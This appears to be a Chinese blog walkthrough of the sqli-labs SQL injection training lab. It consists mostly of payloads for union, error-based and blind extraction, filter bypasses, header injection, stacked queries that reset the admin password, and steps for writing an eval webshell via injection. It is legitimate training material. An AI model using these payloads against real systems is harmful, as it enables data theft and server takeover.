SQL注入从入门到进阶:sqli-labs靶场通关笔记

Posted tzyyyyyy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入从入门到进阶:sqli-labs靶场通关笔记相关的知识,希望对你有一定的参考价值。

目录

环境搭建

显错SQL注入基本步骤(以Less-1为例)

1)判断类型

2)构造闭合

3)查询字段数

4)显位

5)爆库

6)爆表

7)爆列

8)爆值

Less-2

Less-3

Less-4

Less-5

updatexml报错

Less-6

Less-7

写马

Less-8

布尔盲注

1)猜解库名长度

2)猜解库名

3)猜解表名

4)猜解列名

Less-9

时间盲注

1)猜解库名长度

2)猜解库名

3)猜解表名

4)猜解列名

Less-10

Less-11

Less-12

Less-13

Less-14

Less-15

Less-16

Less-17

Less-18(由于自身环境问题 一直到22题都没有做完)

请求头注入

Less-23

注释过滤

Less-24

二次注入

Less-25

and or过滤

双写绕过

Less-26

and or 注释 空格 换行过滤

Less-27

Less-28

Less-29

参数污染

Less-30

Less-31

Less-32

宽字节逃逸注入

Less-33

Less-34

Less-35

Less-36

Less-37

Less-38

堆叠注入

Less-39

Less-40

Less-41

Less-42

堆叠注入和update报错

Less-43

Less-44

Less-45

Less-46

Less-47

Less-48

Less-49

Less-50

堆叠写马

Less-51

Less-52

Less-53

Less-54~Less-64


环境搭建

详细环境搭建参考 sql-labs靶场环境搭建(手把手教你如何搭建)_BetterDream的博客-CSDN博客_sql靶场搭建

上述教程出现问题时 再参考这个 搭建sqli-labs遇到的问题_学习渗漏的小东的博客-CSDN博客

环境搭建完成后进入题目

接下来正式开始SQL注入!

显错SQL注入基本步骤(以Less-1为例)

进入页面后 提示输入带有参数的id值

在url网址中进行输入 sql/Less-1/?id=1 查看回显

1)判断类型

?id=1 and 1=1

?id=1 and 1=2

均未报错 初步判断字符型注入

?id=1' and 1=1

发现报错

2)构造闭合

字符型注入因为有''的缘故 需要构造闭合

?id=1' and 1=1 -- q (--用来注释本行 空格加q防止--被浏览器不执行)

成功闭合

3)查询字段数

这里用对分查找思想

?id=1' order by 1 -- q

?id=1' order by 5 -- q

?id=1' order by 3 -- q

?id=1' order by 4 -- q

得出字段数为3

4)显位

?id=1' union select 1,2,3 -- q

此时发现 虽然没有报错 但是并没有得到回显位置

这是因为id=1的查询结果覆盖了回显 只需要将id查询的值调整一下 这里我改为100

成功回显

5)爆库

?id=100' union select 1,2,database() -- q

得到数据库名 security

6)爆表

?id=100' union select 1,2,table_name from information_schema.tables where table_schema='security' -- q

7)爆列

?id=100' union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- q

8)爆值

?id=100' union select 1,2,id from emails -- q

Less-2

1)判断类型

and 1=1

and 1=2

判断为数字型注入

2)查询字段数

order by 3

order by 4

字段数为3

3)显位

union select 1,2,3 (id值改为100防止覆盖 后续题目有被数据覆盖时就不再特意表明了)

4)爆库

union select 1,2,database()

5)爆表

union select 1,2,table_name from information_schema.tables where table_schema='security'

6)爆列

union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails'

7)爆值

union select 1,2,id from emails

Less-3

1)判断类型

and 1=1

and 1=2

' and 1=2

判断为字符型注入

2)构造闭合

注意到报错信息中的信息

回推sql语句为

select * from * where id=(' ')

根据语句构造payload

1') and 1=1 -- q

没有报错说明闭合成功

3)显位

union select 1,2,3

4)爆库

union select 1,2,database()

5)爆表

union select 1,2,table_name from information_schema.tables where table_schema='security'

6)爆列

union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails'

7)爆值

union select 1,2,id from emails

Less-4

1)判断类型

and 1=1

and 1=2

初步判断为字符型注入

" and 1=2

字符型注入

2)构造闭合

注意报错信息

回推SQL语句为

select * from * where id=(" ")

根据语句构造payload

") and 1=1 -- q

3)查询字段数

order by 3

order by 4

4)显位

union select 1,2,3

5)爆库

union select 1,2,database()

6)爆表

union select 1,2,table_name from information_schema.tables where table_schema='security'

7)爆列

union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails'

8)爆值

union select 1,2,id from emails

Less-5

1)判断类型

and 1=1

and 1=2

' and 1=2

字符型注入

2)构造闭合

' and 1=1 -- q

3)查询字段数

order by 3

order by 4

4)显位

union select 1,2,3

发现即使调整了id的值 并没有产生回显点

没有显错位的注入 可以考虑从盲注入手

但这里先不采用盲注 用另一种报错信息方式updatexml来回显

updatexml报错

updatexml(xml_doument,XPath_string,new_value) 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据

格式简化 updatexml(xx,concat(xx),xx)

concat函数用来拼接字符

把第二个参数改为非xpath格式 就会报错 但报错的信息是什么呢?

他会把校验失败的数据爆出来

第一个和第二个参数可以随便写 因为我们需要的是第二个参数的报错信息

5)爆库

清楚以上之后 接下来继续做题

既然没有回显点 那我们就构造updatexml语句

updatexml(1,concat('!',database(),'!'),1)

concat中的 ! 就是错误格式 会导致报错

6)爆表

updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)

limit 0,1 用来查询从第0位开始往后一位的数值

7)爆列

updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)

8)爆值

updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)

Less-6

1)判断类型

and 1=1

and 1=2

" and 1=2

2)构造闭合

" and 1=1 -- q

3)查询字段数

order by 3

order by 4

4)爆库

updatexml(1,concat('!',database(),'!'),1)

5)爆表

updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)

6)爆列

updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)

7)爆值

updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)

Less-7

本题和以上题目解法不一样 涉及到一句话木马内容

前面判断和构造闭合就不重复了 重点讲后半部分

闭合为 ?id=1')) -- q

查询字段数

order by 3

order by 4

字段数为3

写马

先检查mysql的配置文件my.ini 是否设置secure这一条 经过实测 设置完成后需要重启电脑才能生效 这是phpstudy的一个小bug

判断完字段数后就进行写马

此语句用法就是将2位置构造函数的数据输出到自己创建的文件shell.php中

放入url中执行

代码如下 具体后面的文件路径按自己实际情况来编写 不要照搬我的路径

虽然页面报错 但是打开Less-7的文件夹 发现多了shell.php文件

打开文件

eval会将()中的内容当作php代码进行执行

$_REQUEST用来接受POST GET COOKIE传参

实例

url中输入 sql/Less-7/shell.php?1=phpinfo();

?代表传参 后面1=phpinfo();就是传参的值

再之后就可以利用sql登入工具 进入到后台 取得服务器的权限

Less-8

布尔盲注

按显错步骤往下做的时候发现 此题根本没有显错位 这个时候就可以利用盲注的方式去尝试

步骤

接下来进行盲注解析

1)猜解库名长度

用对分查找思想

and length(database())>1

and length(database())>10

and length(database())>5

and length(database())>7

and length(database())>8

字段数为8

2)猜解库名

猜解库名就需要用到ASCII码

对照ASCII码进行逐字猜解

猜解时可以参考命名规则 MySQL命名规范_卫星恋天的博客-CSDN博客_mysql命名规范 提高效率

(ascii(substr(database(),1,1)))=115 返回正常,说明数据库名称第一位是s

(ascii(substr(database(),2,1)))=101 返回正常,说明数据库名称第一位是e

以此类推

3)猜解表名

(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 如果返回正常 说明数据库表名的第一个的第一位是e

以此类推

4)猜解列名

(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105 如果返回正常 说明emails表中的列名的第一位是i

Less-9

时间盲注

同样按照盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明无法用布尔盲注的做法了,要尝试使用时间盲注

语法格式 if(xx,sleep(),1)

if用来判断条件是否成立 当第一个条件满足时 会执行第二个条件

sleep用来延长页面显示时间 当第一个条件成立时 页面会延长显示时间

1)猜解库名长度

1' and if(length(database())=8,sleep(5),1) -- q

页面延时五秒显示 库名长度为8

2)猜解库名

if((ascii(substr(database(),1,1))=115),sleep(5),1)

页面演示五秒显示 库名第一个字符为s

以此类推

3)猜解表名

if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)

4)猜解列名

if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1)

Less-10

此题做法与之前一样 只是闭合的区别

1" and if(length(database())=8,sleep(5),1) -- q

后面步骤不再重复

Less-11

首先能发现,此题的传参方式是和以往是不相同的,这次变成了post传参,但他们的注入方式是差不多的

直接在username输入框中输入构造的payload

小技巧:尝试万能闭合:'or 1=1 -- q

1)查询字段数

'or 1=1 order by 2 -- q

'or 1=1 order by 3 -- q

字段数为2

2)显位

'union select 1,2 -- q

3)爆库

'union select 1,database() -- q

4)爆表

'union select 1,table_name from information_schema.tables where table_schema='security' -- q

5)爆列

'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- q

6)爆值

'union select 1,id from emails -- q

Less-12

此题只是构造闭合的区别

") or 1=1 -- q

后续步骤不再重复

Less-13

此题采用 updataxml报错注入

1)爆库

')or updatexml(1,concat('!',(select database()),'!'),1) -- q

2)爆表

')or updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1) -- q

3)爆列

')or updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1) -- q

4)爆值

')or updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1) -- q

Less-14

此题也是做法一样 只是闭合的区别

此题闭合为 "or 1=1 -- q

后续步骤不再重复

Less-15

此题没有报错点 因此用盲注的做法

此题闭合为 'or 1=1 -- q

后续步骤不再重复

Less-16

此题采用盲注做法

此题闭合为 ")or 1=1 -- q

后续步骤不再重复

Less-17

此题采用updataxml报错方法

此题闭合为 'or 1=1 -- q

需要注意的是此题传参的地方在password 所以需要在下面的输入框输入payload 上面的随意

'or updatexml(1,concat('!',(select database()),'!'),1) -- q

Less-18(由于自身环境问题 一直到22题都没有做完)

请求头注入

此题很明显能看到ip地址的显示 自然而然的想到注入点在请求头部分

用burp抓包分析 根据上图在请求头部分进行注入

对User-Agent进行注入

截取到如下数据包

发送至重发器repeater 在重发器User-Agent中修改语句

'and updatexml(1,concat('!',(select database()),'!'),1) -- q

点击go 发现页面并没有变化

这是为什么呢? 打开源码进行分析

可以看到这条语句中 不止传参了User-agent 对后面两个参数也进行了传递

所以原来的payload只闭合了前面User-agent位置 后面两个参数并未闭合

根据以上 构造新的payload

' and updatexml(1,concat('!',(select database()),'!'),1),1,1)-- q

再次进行注入

//这里卡着了导致一直到22题都没有做

Less-23

注释过滤

此题采用updataxml报错 与之前题目不同的是 之前的注释符号都被过滤了 包括 -- #

这时就需要在语句后半部分再构造一个闭合

源码分析:

select * from * where id='' (原语句)

select * from * where id='1' and 1=1 or '1'='1' 这样就成功构造了闭合 我们放入的语句是 1' and 1=1 or '1'='1

根据上述构造payload

1' and updatexml(1,concat('!',database(),'!'),1) or '1'='1

代入url中 成功爆库

后续步骤一样 不再重复

Less-24

二次注入

此题解法有变化

分析源码

在login.php中发现 如果对username进行构造闭合 可以形成二次注入

构造payload admin'#

语句就变成了

SELECT * FROM users WHERE username='admin‘# and password='$password'

后面password就被注释掉了

用admin'#进行注册 密码随意

注册之后登录admin’#

修改密码 修改完成之后退出登录

虽然创建的是admin'# 但是进行修改密码时 连同admin的密码也被修改了 因为我们登录时注释掉了admin的password验证

用admin进行登录 密码为刚才修改的新密码

登录成功

此题展示了二次注入的危害 黑客恶意登录时可能会对管理员admin进行密码修改的恶意操作造成巨大危害

Less-25

and or过滤

此题有and or过滤

在构造闭合时 当输入and或or时 会发生报错

在错误信息中看到 and直接消失了

这时就需要用其他字符替换and和or

sql语法中 逻辑运算符&&等同and的用法 ||等同于or的用法

需要注意的是 直接在url中用&&替换and还是会报错 这时因为在url栏中&&还有其他含义(代表多个传参的意思) 此时需要对&&进行url编码

&&编码后为%26%26 代入到语句中 1'%26%26 1=1 -- q

页面正常回显

双写绕过

继续按updatexml报错注入的步骤做时 在爆表时会遇到报错 这是因为information中的or被识别 并且被替换成了空

但是此处并不能用or进行url编码替换的方式 因为这在sql语句中是并不成立的

这里特别有意思的应对方法是 将information改为infoorrmation

因为会过滤or 所以我们输入infoorrmation时会被自动改成information 从而绕过过滤

输入payload(注意将||转换url编码)

1' ||%20 updatexml(1,concat('!',(select table_name from infoorrmation_schema.tables where table_schema='security' limit 0,1),'!'),1) -- q

成功爆出表名

后续步骤不再重复

Less-26

and or 注释 空格 换行过滤

此题不仅在and和or进行了过滤 同时对注释符号进行过滤 还有空格和换行

不过做法还是基本不变 将被注释的地方用其他替换

空格注释 可以改为 %a0 %0a ()

url编码 || %20%7C%7C

&& %26%26

payload如下

1' && '1'='1 注释部分转换成url编码后 1"%20%7C%7C 1 %26%26 '1'='1

爆库名

|| updatexml(1,concat('!',(select(database())),'!'),1)||'1'='1

转换为url编码(空格用()代替)

%20%7C%7C updatexml(1,concat('!',(select(database())),'!'),1)%20%7C%7C '1'='1

成功爆库

爆表

|| updatexml(1,concat('!',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),'!'),1) || '1'='1

真的好长 这里我用group——concat输出table 实测的时候limit我搞不出闭合.......(我好菜)

爆列

这里的and用aandd代替

|| updatexml(1,concat('!',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='emails'))),'!'),1) || '1'='1

爆值

|| updatexml(1,concat('!',(select(group_concat(id))from(emails)),'!'),1)|| '1'='1

总结:千万千万要注意各个括号闭合以及过滤字符的转换!!!(我在做的时候各种对照前后括号闭合 差点没把我眼睛看花......) 太费眼睛和耐心了这题目

Less-27

此题在原有过滤上对select union进行过滤

只需改一下大小写

|| updatexml(1,concat('!',(sElEcT(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),'!'),1) || '1'='1

Less-28

此题在原有过滤上对select union进行过滤

这题也可以换盲注进行注入

判断数据库长度

')and(length(database())=8)||('1')=('1

后续步骤不再重复

Less-29

参数污染

此题用最开始的联合注入和显错就可以做

查阅相关资料发现 此题旨在尝试参数污染传参 第一个参数传给jsp处理 第二个参数传给php处理 从而绕过

?id=1&id=100' union select 1,2,3 -- q

Less-30

此题也是尝试参数污染

和上题做法一模一样 闭合为 "

Less-31

此题也是尝试参数污染

和上题做法一模一样 闭合为 ")

Less-32

宽字节逃逸注入

%df和\\会组成繁体的運

payload: ?id=1 %df' and 1=1 -- q

在爆表名的时候 发现后面语句的单引号也被注释了

此时在后面语句中再进行宽字节绕过显然会发生语法错误 那就进行替换

'security' 改为database() 'emails'改为十六进制输入0x7573657273

爆表

?id=100 %df' union select 1,2,table_name from information_schema.tables where table_schema=database() -- q

爆列

?id=100 %df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 -- q

爆值

?id=100 %df' union select 1,2,id from emails -- q

Less-33

此题和上题注入步骤一样

区别是less32手动加转义 本题用了addslashes()函数 在下面这些预定义符号前加转义

单引号 '
双引号 "
反斜杠 \\
空字符 NULL

Less-34

此题再次发现反斜杠,利用之前所说的%df发现并没有效果

这是因为%df是url编码,这里我们可以通过汉字的方式去绕过,和%df类似,一些汉字的编码为一个三字节的编码,可以将三个字节拆开来看,前两个为一组,后面那个和\\相编码为一个两字节绕过,从而单引号逃逸

payload: 汉' or 1=1 -- q

Less-35

此题狡猾的很 根本不用构造闭合 直接union select查询就行了

union select 1,2,3 -- q 后续步骤不再重复

Less-36

此题和32题做法一模一样 只不过运用的函数不同

?id=1 %df' and 1=1 -- q

后续步骤不再重复

Less-37

此题做法和34题一样

payload: 汉' or 1=1 -- q

Less-38

堆叠注入

之后便可以输入查询语句直接查询想要的数据

payload: ?id=1';insert into users(id,username,password) values ('100','100','100') -- qwe

在数据库中查看结果

发现最后一行被插入了新值

Less-39

此题和上题做法类似

payload: ?id=1;insert into users(id,username,password) values ('101','101','101') -- qwe

数据库中出现新值

Less-40

payload: ?id=1');insert into users(id,username,password) values ('102','102','102') -- qwe

数据库中

Less-41

payload:?id=1;insert into users(id,username,password) values ('104','104','104')%20 -- qwe

数据库中

Less-42

堆叠注入和update报错

本题除了堆叠注入 还可以运用updata报错

先用万能密码注入 发现在username处无法注入成功 在password中可以注入成功

payload: ' or 1=1 -- q

1)updatexml报错

退出登录后 输入payload: ' and updatexml(1,concat('!',database(),'!'),1) -- q

后续和updatexml报错步骤一样

2)堆叠注入

假设我们要利用admin管理员身份进行登录 可以利用堆叠注入构造payload

payload: 1';update security.users set password='123456' where username="admin"#

在password处输入payload 发现登录失败 问题不大 返回后用admin登录 密码为payload中构造的

登录成功!

Less-43

此题只是闭合的区别 闭合为') or 1=1 -- q

Less-44

此题只是闭合的区别 闭合为 ' or 1=1 -- q

此题也可以用盲注解

Less-45

此题只是闭合的区别 闭合为 ') or 1=1 -- q

Less-46

此题发现页面并不一样 提示用sort去查询

输入?sort=1

输入?sort=2

输入?sort=3

发现每次改变参数之后 表中数据位置会发生改变 分析之后得出参数值为多少就会对相应的字段进行排序 这和联合查询中的order by 用法相类似

之后可以用多种方式进行注入 这里我选择updatexml报错

?sort=1 and updatexml(1,concat('!',database(),'!'),1) -- q

Less-47

此题只是闭合的区别

?sort=1' and updatexml(1,concat('!',database(),'!'),1) -- q

Less-48

此题发现updatexml报错没有报错信息

用布尔盲注没有回显

那么直接用时间盲注

payload:?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0)

等于115时页面回显时间延长 说明条件成立

大于115时 页面回显时间未延长 说明条件不成立

Less-49

此题只是闭合的区别 闭合为 ?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0) -- q

Less-50

堆叠写马

payload: (按照自己的文件地址来写)

 

成功写马

赋值查询 成功回显phpinfo()

Less-51

此题只是闭合的区别

payload:

Less-52

此题和50题一模一样

因为此题没有报错点 也可以采用盲注

Less-53

此题我又用了时间盲注(反正这几题来回切换手法)

payload:?sort=1 ' and if(length(database())=8,sleep(5),1) -- q

=8时回显延长

大于8时没有回显延长

Less-54~Less-64

从54题开始 每题有固定的输入次数 一旦超过次数 会刷新数据库数据

从这里开始 就是对整个sql靶场的复习了 后续就不再写步骤了

以上是关于SQL注入从入门到进阶:sqli-labs靶场通关笔记的主要内容,如果未能解决你的问题,请参考以下文章

iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过

iwebsec靶场 SQL注入漏洞通关笔记10- 双重url编码绕过

sql注入靶场搭建

Sqli-labs靶场搭建

Sqli-LABS通关笔录-18-审计SQL注入2

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)